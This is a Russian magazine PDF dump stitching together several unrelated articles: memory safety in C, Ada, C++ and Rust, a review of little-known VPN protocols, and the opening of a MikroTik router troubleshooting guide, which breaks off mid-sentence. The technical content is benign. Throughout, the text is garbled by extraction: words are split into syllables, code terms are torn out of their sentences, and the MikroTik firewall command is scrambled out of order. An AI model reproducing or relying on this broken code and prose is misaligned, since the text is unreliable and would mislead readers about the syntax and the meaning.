https://developer.android.com/training/articles/security-config
https://github.com/Android-Guards/request-signing-client
https://github.com/Android-Guards/request-signing-server
https://github.com/Android-Guards/request-signing-server
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КОДИНГ

Ос новные  проб лемы  с  управле нием  памятью  мож но  раз‐ 
делить на два клас са. Пер вый — утеч ки памяти. Утеч ка воз‐ 
ника ет, если прог рамма зап рашива ет у ядра ОС блок памяти
и  забыва ет  ее  осво бодить.  Проб лема  с  утеч ками  памяти
неп рият ная, но отно ситель но безопас ная — в край нем слу‐ 
чае ее мож но «решить» пери оди чес ким переза пус ком прог‐ 
раммы.  Вто рой  класс  —  проб лемы  безопас ности  памяти,
которые мы и обсу дим в этой статье.

К проб лемам безопас ности отно сят ся:
об ращение  к  невер ному  ука зате лю  (в  том  чис ле  перепол нение  буфера
и разыме нова ние  );

•
NULL

оши боч ное обра щение к уже осво бож денной памяти (use after free);•
оши боч ная попыт ка осво бодить ранее осво бож денный  ука затель  (double
free).

•

INFO

Ре комен дую  так же  озна комить ся  с  моей 
, где я рас смат ривал механиз мы

сбор ки мусора и их осо бен ности.

пре‐ 
дыду щей стать ей

Как мы видели на при мере с исполь зовани ем Boehm GC в C, сбор ка мусора
сама  по  себе  реша ет  толь ко  проб лему  с  утеч ками  памяти.  Безопас ность
памяти обес печива ют уже свой ства самого язы ка.

Ас соци ация  меж ду  сбор кой  мусора  и  безопас ностью  памяти  воз ника ет
от  того,  что  мно гие  популяр ные  прик ладные  язы ки  не  раз реша ют  руч ное
управле ние  памятью  и  адресную  ариф метику  вов се,  —  в  этих  усло виях
у поль зовате ля прос то нет воз можнос ти выпол нить небезо пас ную опе рацию.
Одна ко  и  воз можнос ти  осво бодить  память  тоже  нет,  поэто му  нужен  хоть
какой‐то механизм авто мати чес кого  управле ния, и  сбор ка мусора — самый
популяр ный.

Са мый  популяр ный  не  зна чит  единс твен ный  и  уни вер саль ный.  Пер вая
и глав ная проб лема язы ков с при нуди тель ной сбор кой мусора — на них мож‐ 
но  писать  толь ко  прог раммы,  которые  выпол няют ся  в  прос транс тве  поль‐ 
зовате ля.  Ядру  опе раци онной  сис темы  или  про шив ке  мик рокон трол лера
не  на  кого  положить ся,  они  вынуж дены  управлять  памятью  самос тоятель но,
а зна чит, и язык дол жен под держи вать ука зате ли и адресную ариф метику.

Вто рая проб лема — потеря про изво дитель нос ти и пред ска зуемос ти вре‐ 
мени  выпол нения.  Клас сичес кие  одно поточ ные  сбор щики  мусора  соз дают
паузы в выпол нении прог раммы, которые могут быть замет ны поль зовате лю.
При исполь зовании мно гопо точ ных алго рит мов и вер ной нас трой ке тай меров
под  задачи  кон крет ного  при ложе ния  мож но  свес ти  паузы  к  миниму му,
но свес ти зат раты ресур сов на сбор ку мусора к нулю невоз можно.

Впол не  логич но,  что  раз работ чики  язы ков  ищут  аль тер натив ные  и  про‐ 
межу точ ные  вари анты.  Давай  пос мотрим,  какими  спо соба ми  раз ные  язы ки
пыта ются обес печить безопас ность памяти.

СТРОГАЯ ТИПИЗАЦИЯ УКАЗАТЕЛЕЙ
Проб лемы  с  безопас ностью  памяти  в C  воз ника ют  в  пер вую  оче редь  из‐за
отсутс твия  стро гой  типиза ции.  Фун кция    воз вра щает  нетипи зиро‐ 
ван ный  ука затель  ( ),  который  поль зователь  может  при вес ти  к  любому
типу.  Сле дить  за  сов падени ем  раз мера  бло ка  памяти  с  раз мером  дан ных
тоже  обя зан ность  поль зовате ля.  К  при меру,  пор тирова ние  ста рого  кода
на  64‐бит ные  плат формы  может  при нес ти  мно го  веселых  минут,  если  его
авто ры жес тко про писа ли раз мер ука зате ля 32 бит.

malloc()
void*

Ну  и  самая  клас сичес кая  ошиб ка,  конеч но,  —  слу чай ное  обра щение
к нулево му ука зате лю.

#include <stdio.h>

   void main(void) {
       char* str = NULL;
   printf("%s\n", str);
}

 

 

 
 

Segmentation fault (core dumped)

$ gcc ‐o segfault ./segfault.c
$ ./segfault

Бо лее  сов ремен ные  язы ки  для  сис темно го  прог рамми рова ния  отно сят ся
к это му воп росу более ответс твен но.

Нап ример, в аде нетипи зиро ван ные ука зате ли — осо бый и ред кий слу чай.
Обыч ные  ука зате ли  всег да  типизи рован ные. Вмес то    при меня ется
опе ратор   с явным ука зани ем типа. Прос того спо соба осво бодить память
«вооб ще»  там тоже нет, вмес то это го есть обоб щенная фун кция  (дже нерик)

,  которую  перед  исполь зовани ем  нуж но  спе‐ 
циали зиро вать под кон крет ный тип дан ных.

malloc()
new

Ada.Unchecked_Deallocation

Та ким  спо собом  зап росить  или  осво бодить  невер ный  объ ем  памяти
гораз до слож нее. Исполь зование пос ле осво бож дения, впро чем, так же будет
обна руже но толь ко во вре мя выпол нения прог раммы.

INFO

Ука зате ли  в  аде  называ ются  access  types.  Нап‐ 
ример,   — ука затель на целое
чис ло.

access integer

Для  демонс тра ции  сох раним  сле дующий  код  в  файл 
(имя фай ла дол жно сов падать с наз вани ем основной про цеду ры).

access_example.adb

 with Ada.Unchecked_Deallocation;

   procedure Access_Example is

          type Int_Ptr is access Integer;

  ‐‐ Специализация дженерика под Int_Ptr
          procedure Free_Integer is new Ada.Unchecked_Deallocation

              (Object => Integer, Name => Int_Ptr);

      P : Int_Ptr;
      I : Integer;

begin
  ‐‐ Запрашиваем память под целое число с помощью new
  ‐‐ и сохраняем туда значение 42
        P := new Integer'(42);

  ‐‐ Освобождаем память, теперь P = null
  Free_Integer(P);

  ‐‐ Пробуем получить значение по указателю
      I := P.all;

 end Access_Example;

Те перь ском пилиру ем с помощью   и запус тим.GNAT

 

 

 

 
gcc ‐c ‐I./ ‐I‐ ./access_example.adb 
gnatbind ‐x access_example.ali 
gnatlink access_example.ali

$ gnatmake ./access_example.adb

 
raised CONSTRAINT_ERROR : access_example.adb:17 access check failed
$ ./access_example

Как  видим,  тип  ука зате ля    не  защитил  нас  от  обра щения
к осво бож денной памяти. Одно хорошо: хотя бы исклю чение, а не segmenta‐
tion fault, как в C, так что наша проб лема прос то баг, а не потен циаль ная уяз‐ 
вимость.

access  Integer

Од нако  начиная  с  Ada  2005  под держи вает ся  и  про вер ка,  что  ука затель
ненуле вой. Для  это го  нуж но  испра вить 
на  . В этом слу чае наша прог‐ 
рамма перес танет ком пилиро вать ся.

type Int_Ptr  is  access  Integer
type Int_Ptr is not null access Integer

 

 

 
gcc ‐c ‐I./ ‐I‐ ./access_example.adb 
access_example.adb:8:35: non null exclusion of actual and formal "Name" 
do not match 
access_example.adb:10:04: warning: (Ada 2005) null‐excluding objects 
must be initialized 
access_example.adb:10:04: warning: "Constraint_Error" will be raised 
at run time 
access_example.adb:15:04: warning: freeing "not null" object will raise 
Constraint_Error 
gnatmake: "./access_example.adb" compilation error

$ gnatmake ./access_example.adb

На прак тике от  такого  типа мало поль зы,  пос коль ку его память невоз можно
осво бодить. По этой при чине опцию   обыч но при меня ют для под‐ 
типов,  что бы пре дот вра тить исполь зование    в  качес тве аргу мен та фун‐ 
кции, а для самих зна чений при меня ют обыч ный ука затель.

not null
null

       type Int_Ptr is access Integer;
         subtype Initialized_Int_Ptr is not null Int_Ptr;

   procedure Some_Proc(Arg: Initialized_Int_Ptr);

УМНЫЕ УКАЗАТЕЛИ
В  язы ках  вро де  Python  или  Go  сбор щик  мусора  работа ет  с  памятью  всей
прог раммы.  Оче вид но,  это  воз можно,  толь ко  если  поль зователь  не  может
управлять памятью вруч ную, ина че кон флик ты меж ду поль зовате лем и сбор‐ 
щиком мусора неиз бежны.

Как быть, если хочет ся оста вить в язы ке воз можность руч ного управле ния?
Мож но  сде лать  объ ект  —  обер тку  для  динами чес ки  выделен ной  памяти,
который будет отсле живать ее исполь зование. Такой объ ект называ ют умным
ука зате лем (smart pointer).

К при меру, стан дарт C++11 опре деля ет класс  . Язык C++ под‐ 
держи вает перег рузку фун кций и опе рато ров. С помощью этой воз можнос ти
класс    меня ет  поведе ние  объ екта  так,  что  его  переда ча  в  фун‐ 
кцию,  прис ваива ние  и  про чие  опе рации  уве личи вают  внут ренний  счет чик
ссы лок.

shared_ptr

shared_ptr

Пос мотрим на при мере. Сох раним сле дующий код в файл  .shared.cpp

#include<iostream>
#include<memory>

   using namespace std;

     void print_pointer_value(std::shared_ptr<int> ptr) {
     cout << "Creating a copy\n";
       auto ptr_copy = ptr;
             cout << "Use count: " << ptr.use_count() << endl;
             cout << "Pointer value: " << *ptr_copy.get() << endl;
}

   int main(void) {
       auto ptr = make_shared<int>(42);
             cout << "Use count: " << ptr.use_count() << endl;
 print_pointer_value(ptr);
             cout << "Use count: " << ptr.use_count() << endl;
}

Те перь ском пилиру ем и запус тим.

 

 

 
 

Use count: 1 
Creating a copy 
Use count: 3 
Pointer value: 42 
Use count: 1

$ g++ ‐o shared ./shared.cpp
$ ./shared

Как  видим,  переда ча  умно го  ука зате ля  в  фун кцию 
сама по себе уве личи ла счет чик ссы лок на еди ницу. Соз дание копии вруч ную
путем  прис ваива ния  внут ри фун кции  уве личи ло  его  еще раз,  а  выход  обе их
копий из области видимос ти при завер шении фун кции вер нул зна чение счет‐ 
чика назад.

print_pointer_value()

Увы,  от  оши бок  клас са  use  after  free  умные  ука зате ли  тоже  не  спа сают.
Если  мы  добавим  в  конец  прог раммы  сле дующий  код,  мы  получим  ошиб ку
дос тупа к памяти (segmentation fault):

ptr.reset();
           cout << "Pointer value: " << *ptr.get() << endl;

К  тому же прос той под счет  ссы лок — весь ма наив ный под ход,  при  котором
цик личес кие ссыл ки соз дают  гаран тирован ную утеч ку памяти. Тем не менее
в C++ луч ший ком про мисс при думать слож но.

C++11 так же пред лага ет класс  . Такие объ екты мож но переда‐ 
вать с помощью фун кции  , но нель зя копиро вать, поэто му раз мно жение
ссы лок на них в прог рамме невоз можно.

unique_ptr
move

ЛИНЕЙНЫЕ ТИПЫ (BORROW CHECKER)
В зак лючение рас смот рим под ход,  который поз воля ет обес печить безопас‐ 
ность памяти и ее авто мати чес кое осво бож дение одновре мен но.

Ма тема тичес кий  аппа рат  это го  под хода  известен  как  .
Основная идея в том, что каж дое зна чение в каж дый момент может исполь‐ 
зовать ся толь ко в одной области видимос ти.

ли ней ная  логика

Этот под ход исполь зует   и ряд экспе римен таль ных язы ков, нап ример
.

Rust
ATS

Соз дать  нес коль ко  ссы лок  на  одно  и  то  же  зна чение  при  этом  под ходе
прос то  невоз можно.  Ссыл ку  мож но  толь ко  «поза имс тво вать»  (borrow).  Все
ссыл ки  ведут  себя  подоб но  упо мяну тому  выше    из  C++.  Ком‐ 
понент  ком пилято ра  под  наз вани ем  borrow  checker  сле дит  за  выпол нени ем
это го пра вила авто мати чес ки.

unique_ptr

Сле дующая прог рамма на Rust не прой дет ком пиляцию.

   fn main() {
       let str = String::from("hello world");
       let str_copy = str;
   println!("{}", str);
}

Ком пилятор выдаст такую ошиб ку: 
. Каж дое объ явле ние перемен ной с помощью   соз дает новую область

видимос ти. С помощью   мы не соз дали вто рую ссыл ку
на ту же стро ку, а переда ли ее зна чение новой перемен ной, поэто му попыт ка
передать   в фун кцию уже наруша ет пра вила заимс тво вания ссы лок.

error[E0382]: borrow of moved value:
str let

let str_copy = str

str
Пе реда ча ссыл ки воз можна во вло жен ную область видимос ти, нап ример

при вызове фун кции. Рас смот рим при мер из  .до кумен тации

   fn main() {
         let s1 = String::from("hello");
         let len = calculate_length(&s1);
       println!("The length of '{}' is {}.", s1, len);
}

         fn calculate_length(s: &String) ‐> usize {
   s.len()
}

Здесь  ссыл ка  на  зна чение  перемен ной    заимс тву ется  фун кци ей 
.  Пос ле  завер шения  вызова    она  воз‐ 

вра щает ся обратно.

s1 calcu‐
late_length calculate_length(&s1)

Та ким обра зом ком пилятор может отсле дить, в какой области видимос ти
ссыл ка на перемен ную исполь зует ся в пос ледний раз, и вста вить вызов фун‐ 
кции  осво бож дения  памяти  этой  перемен ной  на  выходе  из  этой  области
видимос ти.

Это и поз воля ет Rust обхо дить ся без сбор щика мусора, но при этом пре‐ 
дот вра щать и утеч ки памяти, и ошиб ки дос тупа к ней.

Оче вид но,  этот  под ход  не  панацея.  Во‐пер вых,  он  тре бует  совер шенно
дру гого сти ля прог рамми рова ния и мно гие при выч ные вещи, вро де гло баль‐ 
ных  перемен ных,  ока зыва ются  невоз можны ми. Во‐вто рых,  он  дела ет  невоз‐ 
можны ми  цик личес кие  ссыл ки,  а  зна чит,  и  мно гие  струк туры  дан ных  вро де
гра фов  и  двус вязных  спис ков.  По  этой  при чине  Rust  вклю чает  в  себя  биб‐ 
лиоте ку для работы с  ,  пра вила дос тупа  к  которым
про веря ются во вре мя выпол нения, а не на эта пе ком пиляции.

ди нами чес кими ссыл ками

Кро ме того, про вер ки переда чи ссы лок негатив но ска зыва ются на ско рос‐ 
ти ком пиляции. Ста нет ли этот под ход стан дартом для нового поколе ния язы‐ 
ков сис темно го прог рамми рова ния — вре мя покажет.

ЗАКЛЮЧЕНИЕ
Уп равле ние памятью и ее безопас ность — обширная, слож ная и очень важ‐ 
ная  тема.  Каж дому  раз работ чику  нуж но  знать,  какие механиз мы  пред лага ет
его язык и как они работа ют. Чем боль ше ты о них зна ешь, тем про ще выб‐ 
рать луч ший язык под задачу и писать на нем быс трые, кор рек тные и безопас‐ 
ные прог раммы.
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АДМИН

Про токол для VPN в иде але дол жен быть безопас ным, фун‐ 
кци ональ ным  и  быс трым.  Но  есть  и  еще  один  фак тор:
популяр ность.  Непопу ляр ный  про токол  слож нее  внед рить
и  под держи вать:  его  прог рам мное  обес печение  тре бует ся
уста нав ливать  и  нас тра ивать,  а  поль зовате лей  и  адми нис‐ 
тра торов нуж но обу чать.

Иног да  про токо лы  ста новят ся  популяр ными  воп реки  сво им  тех ничес ким
недос таткам,  прос то  из‐за  агрессив ного  прод вижения  круп ной  ком пани ей.
Быва ет и наобо рот, про токол незави симых раз работ чиков реша ет нас толь ко
насущ ную  проб лему  какой‐то  час ти  поль зовате лей,  что  быс тро  набира ет
популяр ность сам по себе. Так про изош ло с OpenVPN или WireGuard.

Не кото рые про токо лы теря ют популяр ность. Некото рые так и не ста новят‐ 
ся  широко  извес тны ми,  иног да  зас лужен но,  иног да  нет.  В  этой  статье  мы
погово рим о нес коль ких таких про токо лах.

PPTP
Про токол PPTP (Point to Point Tunneling Protocol) ока зал ся на зад ворках впол не
спра вед ливо.  Хочет ся  верить,  что  молодые  читате ли  с  ним  уже  не  стал‐ 
кивались,  но  лет  десять  назад  он  был  хрес томатий ным  при мером  незас‐ 
лужен но популяр ного про токо ла.

По пуляр ность  ему  обес печила  монопо лия  его  раз работ чика  —  кор‐ 
порации Microsoft. С середи ны девянос тых до кон ца двух тысяч ных абсо лют‐ 
ное боль шинс тво кли ент ских устрой ств были компь юте рами с Windows. Оче‐ 
вид но,  наличие  в Windows  встро енно го  кли ента  авто мати чес ки  делало  про‐ 
токол как минимум  .рас простра нен ным

Microsoft  не  была  бы  самой  собой,  если  бы  не  вос поль зовалась  этим
для  сох ранения  и  укрепле ния  сво его  монополь ного  положе ния.  Про токол
PPTP  исполь зовал  стан дар тные  PPP  и  GRE  для  переда чи  дан ных,  но  для
аутен тифика ции  и  шиф рования  при менял ся  нес тандар тный,  патен тован ный
набор про токо лов: MPPE (Microsoft Point‐to‐Point Encryption) и MS‐CHAP.

Из‐за  это го  сво бод ные  реали зации  что  кли ента,  что  сер вера PPTP были
в свое вре мя  такой же боль ной  темой,  как GIF и MP3. Затем срок дей ствия
патен тов истек,   для Linux и   для FreeBSD ста ли популяр ными аль‐ 
тер натива ми проп риетар ным про дук там.

poptop MPD

Од нако  пре дуп режде ния  о  проб лемах  безопас ности  самодель ной  крип‐ 
тогра фии  не  были  бес почвен ными.  Оцен ки  стой кос ти  MPPE  и  MS‐CHAP
неод нократ но сни жались, и в 2012 году про токол был дис кре дити рован окон‐ 
чатель но: иссле дова тели доказа ли, что стой кость MS‐CHAP‐v2  .
Пос ле  это го  вос при нимать  PPTP  как  безопас ный  про токол  ста ло  невоз‐ 
можно, и он быс тро потерял пос ледние остатки популяр ности.

не луч ше DES

Стоит ли использовать PPTP?
Оче вид но, катего ричес ки не рекомен дует ся.

SSTP
  (Secure Socket  Tunneling Protocol) — вто рая  попыт ка Microsoft  соз дать

собс твен ный  про токол  для  VPN.  В  этот  раз  они  не  ста ли  изоб ретать  свои
крип тогра фичес кие  алго рит мы,  а  исполь зовали  стан дар тный  SSL/TLS.  Они
так же боль ше не пре пятс тву ют соз данию сво бод ных реали заций.

SSTP

SSTP  пред став ляет  собой  PPP  поверх  HTTPS.  Оче вид ное  пре иму щес‐ 
тво —  он  отлично  про ходит  через  NAT  и  теоре тичес ки  даже  через  прок си.
Пре иму щес тво  далеко  не  уни каль ное,  OpenVPN  умел  работать  поверх
TCP/443 задол го до это го.

OpenVPN, впро чем, не прос то так по умол чанию исполь зует UDP, а не TCP.
У тун нелей поверх TCP наб люда ются серь езные проб лемы с про изво дитель‐ 
ностью — на одном и том же железе они могут быть в десят ки раз мед леннее.

В Windows, оче вид но, есть встро енный кли ент — начиная с Windows Vista.
Для Linux есть реали зации кли ента и пла гины к NetworkManager. Есть и сто‐ 
рон ние  кли енты  для macOS,  нап ример  EasySSTP.  Для  мобиль ных  устрой ств
тоже при дет ся искать и ста вить сто рон ние при ложе ния.

Ес ли  нуж но  раз вернуть  сер вер  SSTP,  из  сво бод ных  про ектов  его  под‐ 
держи вают   и SoftEther.ACCEL‐PPP

Стоит ли использовать SSTP?
Раз ве что если вынуж дает кор поратив ная полити ка.

SOFTETHER
 — мно гоп ротоколь ный сер вер VPN, подоб но MPD или ACCEL‐PPP.

Он  под держи вает  L2TP/IPsec,  PPTP,  SSTP,  OpenVPN  и  одно имен ный  нес‐ 
тандар тный про токол SoftEther. Это дос таточ но молодой про ект,  его пер вая
вер сия выш ла в 2014 году.

SoftEther

Про токол SoftEther пред став ляет собой Ethernet поверх HTTPS. Пос коль ку
за шиф рование и аутен тифика цию отве чает стан дар тный SSL, безопас ность
осо бых воп росов не вызыва ет.

Ав торы  заяв ляют  о  про изво дитель нос ти  .
Верит ся с тру дом, но воз можнос ти про верить их заяв ления у меня нет. Кли‐ 
ент есть толь ко для Linux и Windows, так что на про чих плат формах при дет ся
исполь зовать дру гие про токо лы.

в  десять  раз  выше  OpenVPN

Стоит ли использовать SoftEther?
Ес ли утвер жде ния авто ров о про изво дитель нос ти вер ны, может, и сто ит.

OPENCONNECT
Тер мин SSL VPN без кон тек ста — час то встре чающий ся, но совер шенно бес‐ 
смыс ленный.  «Под держи вает SSL VPN» может озна чать и SSTP, и OpenVPN,
и мно жес тво несов мести мых проп риетар ных про токо лов.

Свой такой про токол есть поч ти у каж дого вен дора. Нап ример, Cisco Any‐
Connect,  Juniper  Pulse  Connect,  Palo  Alto  GlobalProtect.  Если  в  орга низа ции
широко исполь зует ся кли ент к такому про токо лу, сме нить обо рудо вание кон‐ 
цен тра тора VPN может быть очень слож но — чего вен доры и добива ются.

Сво бод ный  про ект    пре дос тавля ет  реали зации  сер вера
и  кли ента  для  про токо лов  Cisco,  Juniper  и  Palo  Alto.  Кли ент  OpenConnect
работа ет  на  Windows  и  мно жес тве  UNIX‐подоб ных  сис тем:  не  толь ко  Linux
и macOS, но и сис темах семей ства BSD и даже Solaris.

OpenConnect

Сер вер OCServ может сэконо мить орга низа ции немалые день ги, пос коль‐ 
ку в проп риетар ных реали заци ях эти про токо лы час то лицен зиру ются на каж‐ 
дого поль зовате ля.

Стоит ли использовать OpenConnect?
Ес ли  твоя  орга низа ция  внед рила  один  из  этих  про токо лов  и  теперь  сама
не  рада — безус ловно. Пос коль ку  ни  один  из  этих  про токо лов  не  защищен
патен тами  (да  и  патен товать  в  них  осо бо  нечего),  единс твен ный  реаль ный
риск  сущес тво ванию  про екта  —  судеб ные  иски  о  тор говых  мар ках.  В  наз‐ 
вании  про екта  зарегис три рован ные  тор говые мар ки  не фигури руют,  так  что
риск невелик. Кро ме того, про ект сущес тву ет с 2009 года, и до сих пор ник то
из вен доров не судил ся с авто рами.

ВАРИАЦИИ НА ТЕМУ IPSEC
Ка залось бы, IPsec — самый стан дарти зован ный про токол из всех, и его под‐ 
держи вают  все  пос тавщи ки  сетево го  обо рудо вания. Но  со  стан дарти зован‐ 
ным про токо лом не заманишь поль зовате лей в ловуш ку vendor lock‐in, поэто‐ 
му на тему IPsec регуляр но изоб рета ют проп риетар ные вари ации.

Иног да они реша ют впол не реаль ную проб лему,  которую слож но решить
чис тым IPsec. Нап ример,   (Group Encrypted Transport) упро щает
раз верты вание  защищен ной  сети  для  поль зовате лей  MPLS,  пос коль ку  сам
MPLS никакой защиты от перех вата тра фика не пре дос тавля ет.

Cisco GETVPN

В  дру гих  слу чаях,  как  с  ,  пос тавщи ки  пыта ются  под купить  поль‐ 
зовате лей  отно ситель ной  прос тотой  нас трой ки  по  срав нению  с  «нор маль‐ 
ным» IPsec.

EZVPN

Стоит ли использовать проприетарные вариации IPsec?
Ес ли  пер спек тива  нав сегда  остать ся  при вязан ным  к  одно му  пос тавщи ку
не  пуга ет...  В  слу чае  с  EZVPN,  нап ример,  некото рые  устрой ства  под держи‐ 
вают толь ко сер вер, а некото рые — толь ко кли ент, так что выбор может быть
огра ничен еще и кон крет ной моделью.

КЛИЕНТСКИЙ IPSEC
Кста ти об  IPsec. Обыч но он исполь зует ся для фик сирован ных  тун нелей site‐
to‐site  либо  как  защищен ный  тран спорт  для  дру гого  про токо ла  вро де  L2TP.
Ста рый про токол  IKEv1 дей стви тель но был пло хо прис пособ лен для  кли ент‐ 
ских  под клю чений.  Одна ко  сов ремен ный  IKEv2  справ ляет ся  куда  луч ше.
Более того, встро енная под дер жка это го вида тун нелей при сутс тву ет во всех
сис темах, вклю чая Windows, macOS и мобиль ные устрой ства.

Со  сво бод ными  реали заци ями  сер вера  тоже  проб лем  нет,  тот  же
 офи циаль но под держи вает кли ент ские под клю чения.StrongSWAN

Стоит ли использовать клиентский IPsec?
Ес ли ты нас тра иваешь сер вер с нуля и хочешь встро енную под дер жку кли ента
во всех рас простра нен ных ОС, как минимум рас смот реть этот вари ант нарав‐ 
не с L2TP/IPsec точ но сто ит.

TINC
Боль шинс тво про токо лов VPN ори енти руют ся на  тополо гии  «точ ка —  точ ка»
или «звез да». Mesh‐сети до сих пор оста ются дос таточ но экзо тичес ким сце‐ 
нари ем. Тем не менее про токо лы для этих целей сущес тву ют и раз вива ются.
Про ект   раз рабаты вает ся с 1998 года. Это зна чит, он стар ше OpenVPN,
который выпус тил свою пер вую вер сию в 2001‐м. Он под держи вает Windows
и все UNIX‐подоб ные ОС, но вер сий для мобиль ных ОС у него нет.

TINC

Глав ная фича — авто мати чес кое пос тро ение mesh‐сети. Даже если в сети
мно жес тво  узлов,  тра фик  меж ду  ними  будет  переда вать ся  нап рямую,  а  не
через цен траль ный сер вер. Это может сде лать TINC рабочей аль тер нативой
Dynamic Multi‐Point VPN и упо мяну тому GETVPN для кор поратив ных сетей. Ну
или мог ло бы, если бы пос тавщи ки сетево го обо рудо вания и популяр ные сво‐ 
бод ные сетевые ОС его под держи вали.

Стоит ли использовать TINC?
Как минимум поэк спе римен тировать точ но будет инте рес но.

ЗАКЛЮЧЕНИЕ
Про токо лов для VPN в мире великое мно жес тво. Даже если  ты пред почита‐ 
ешь исполь зовать толь ко самые популяр ные, знать о дру гих небес полез но —
выбор будет более информи рован ным.

mailto:daniil@baturin.org
http://poptop.sourceforge.net/
http://mpd.sourceforge.net/
https://web.archive.org/web/20160316174007/https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp/c50ed240-56f3-4309-8e0c-1644898f0ea8
https://accel-ppp.org/
https://www.softether.org/
https://www.softether.org/1-features/1._Ultimate_Powerful_VPN_Connectivity
http://www.infradead.org/openconnect/
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_getvpn/configuration/xe-3s/sec-get-vpn-xe-3s-book/sec-get-vpn.html
https://www.cisco.com/c/en/us/products/collateral/security/ios-easy-vpn/eprod_qas0900aecd805358e0.html
https://www.strongswan.org/testing/testresults/ikev2/ip-pool/
https://www.tinc-vpn.org/
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АДМИН

Хо рошо  нас тро ить  роутер —  важ ное  дело,  но  иног да  это го
быва ет  недос таточ но  и  при ходит ся  решать  проб лемы  уже
во  вре мя  экс плу ата ции.  О  том,  какими  они  быва ют  и  как
с ними спра вить ся, если у тебя или у тво его кли ента роутер
MikroTik, мы и погово рим в этой статье.

Читай также

• За щища ем MikroTik. Хит рости безопас ной нас трой ки роуте ра
• Сте на огня. Учим ся нас тра ивать фай рвол на при мере MikroTik
• Сте на  огня  lvl2.  Нас тра иваем  фай рвол  для  отра жения  атак  на  при мере
MikroTik

Са мая рас простра нен ная жалоба — «у нас ничего не работа ет», при чем чаще
все го это неп равда. Если у бос са не откры вает ся вло жение в пись ме с темой
«вы выиг рали мил лион», потому что его заб локиро вал анти вирус, то нас тра‐ 
ивать роутер в этот день вряд ли при дет ся. Поэто му один из важ ных скил лов
для  адми на —  это  уме ние  раз говари вать  с  поль зовате лем  и  выяс нять,  что
имен но  и  как  не  работа ет.  Увы,  это му  я  в  статье  научить  не  могу,  так  что
перехо дим сра зу к тех ничес кой час ти.

РЕСУРСЫ
Пер вое, на что обра щает вни мание любой сис темный адми нис тра тор, — пот‐ 
ребле ние ресур сов. Бла го WinBox выводит эти дан ные пря мо в глав ном окне.
А если еще не выводит — сей час же добав ляй их туда. Это сэконо мит мно го
вре мени в будущем. Тебе нуж но меню Dashboard → Add. И кста ти, зеленый
квад ратик в пра вой вер хней час ти — это не заг рузка про цес сора. Не обра‐ 
щай на него вни мания.

Resources

Ес ли про цес сор пос тоян но заг ружен боль ше 80% (в зависи мос ти от усло вий
это зна чение может менять ся, но в сред нем давай при мем такое чис ло),  то
что‐то  нелад но. В  пер вую оче редь  смот рим на мес тный  «дис петчер  задач»,
меню Tools →  Profile.  Тут мы  уви дим,  что имен но наг ружа ет CPU, и пой мем,
как дей ство вать даль ше.

INFO

Дли тель ную ста тис тику по наг рузке CPU, тра фику
на интерфей сах и дру гим парамет рам мож но уви‐ 
деть в Tools → Graphing.

Profile

 ты най дешь в вики. Наибо лее час то встре чают ся DNS, En‐
crypting и Firewall.
Объ ясне ние полей

Encrypting — роутер тра тит мно го ресур сов на шиф рование. Ско рее все го,
у  тебя  мно го  тун нелей  VPN  и  нет  аппа рат ного  чипа шиф рования.  Нуж но
поменять  на  желез ку  со  спе циаль ным  чипом  или  выб рать  более  сла бые
алго рит мы.

•

Firewall  —  пря мое  ука зание,  что  ты  не  читал  мои  пре дыду щие  статьи  :)
Фай рвол нас тро ен неоп тималь но.

•

DNS — а вот тут тебя ждет кое‐что инте рес ное.•

Сам по себе DNS‐сер вер поч ти не наг ружа ет роутер в неболь ших и сред них
сетях (до нес коль ких тысяч хос тов). А исполь зовать RouterOS в качес тве DNS‐
сер вера  в  боль ших  сетях  не  луч шая  идея.  Так  отку да  наг рузка?  Давай  раз‐ 
бирать ся. Если есть наг рузка,  зна чит,  что‐то ее соз дает. Веро ятно, сер веру
DNS при ходит ся отве чать на боль шое количес тво зап росов. Про верим, так ли
это. Соз дадим в фай рво ле пра вило.

/    ip firewall filter
  =   =   ‐ =   =   ‐ =  

=
add action accept chain input dst port 53 log yes log prefix DNS
protocol udp

И теперь смот рим в лог. Если наши пред положе ния вер ны, то заметим мно го
сооб щений с пре фик сом DNS. Уви дим, с каких адре сов и на какие интерфей‐ 
сы летят зап росы. Ско рее все го, это будет интерфейс WAN. Но мы не хотим
обра баты вать DNS‐зап росы, при шед шие к нам из интерне та. Зак роем UDP‐
порт  53  на  интерфей се WAN,  помес тим  пра вило  в  нуж ном  мес те —  и  нас‐ 
лажда емся сни зив шей ся наг рузкой. Поз драв ляю! Мы толь ко что обна ружи ли,
что были частью бот нета, зак рыли эту дыру и сде лали интернет чуточ ку чище.
Подоб ные ата ки  час то про водят ся с при мене нием про токо лов, работа ющих
над UDP.

FIREWALL
Во обще, уме ние работать с фай рво лом несет в себе огромную силу. Гра мот‐ 
но  пос тро енное пра вило  ука жет,  как  про ходит  пакет  через  сис тему,  в  какой
интерфейс попада ет, из какого ухо дит даль ше и получа ет ли ответный пакет.
По одним толь ко счет чикам мож но мно гое узнать о сво ей сети.

Counters

В стол бцах Bytes и Packets отоб ража ются количес тво бай тов и пакетов, обра‐ 
ботан ных пра вилом. Кноп ки Reset Counters сбра сыва ют эти счет чики. Теперь
мож но наб людать, попада ет ли тра фик в нуж ное пра вило или нет.

По лез ной час то ока зыва ется вклад ка Connections фай рво ла. Тут вид но все
потоки, про ходя щие через роутер: их сос тояние, количес тво про шед ших бай‐ 
тов,  фла ги  потока  (для  получе ния  под сказ ки  дос таточ но  навес ти  кур сор
на зна чение в стол бце). Для боль шей наг ляднос ти нуж но добавить поля Reply
Dst. Address и Reply Src. Address. В этих полях вид но, в какой и из какого адре‐ 
са был про веден NAT.

Connections

Фай рвол  со  все ми  его  фичами  поз воля ет  деталь но  дебажить  весь  тра фик,
про ходя щий  через  роутер.  Что бы  луч ше  понимать,  что  про исхо дит  во  всех
этих вклад ках, нуж но изу чить, как пакеты про ходят через роутер. На кар тинке
упро щен ная вер сия схе мы.   есть в докумен тации.Бо лее под робная

Traffic Flow

ДРУГИЕ СПОСОБЫ АНАЛИЗА ТРАФИКА
Уви деть сос тояние потока,  его адре са, бай ты и про чее — хорошо. Но фай‐ 
рвол не поз воля ет удоб но и из еди ного мес та убе дить ся, что мар шру тиза ция
кор рек тна. Что бы узнать, в какой интерфейс вылета ет пакет, дос таточ но вос‐ 
поль зовать ся инс тру мен том Torch.

Torch

Torch мож но вос при нимать как некое подобие tcpdump. Здесь мож но уви деть
